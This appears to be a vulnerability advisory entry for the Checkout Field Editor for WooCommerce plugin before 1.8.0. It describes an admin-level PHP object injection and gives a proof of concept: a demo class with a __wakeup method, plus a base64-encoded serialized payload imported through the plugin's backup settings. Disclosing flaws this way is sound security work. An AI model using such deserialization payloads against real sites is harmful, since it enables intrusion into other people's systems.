Checkout Field Editor for WooCommerce < 1.8.0 - Admin+ PHP Object Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Then import the following payload via WooCommerce > Checkout Form > Advanced Settings > Backup and Import Settings: Tzo0OiJFdmlsIjowOnt9Ow==

Tzo0OiJFdmlsIjowOnt9Ow== being the base64 encode of serialized object: O:4:"Evil":0:{};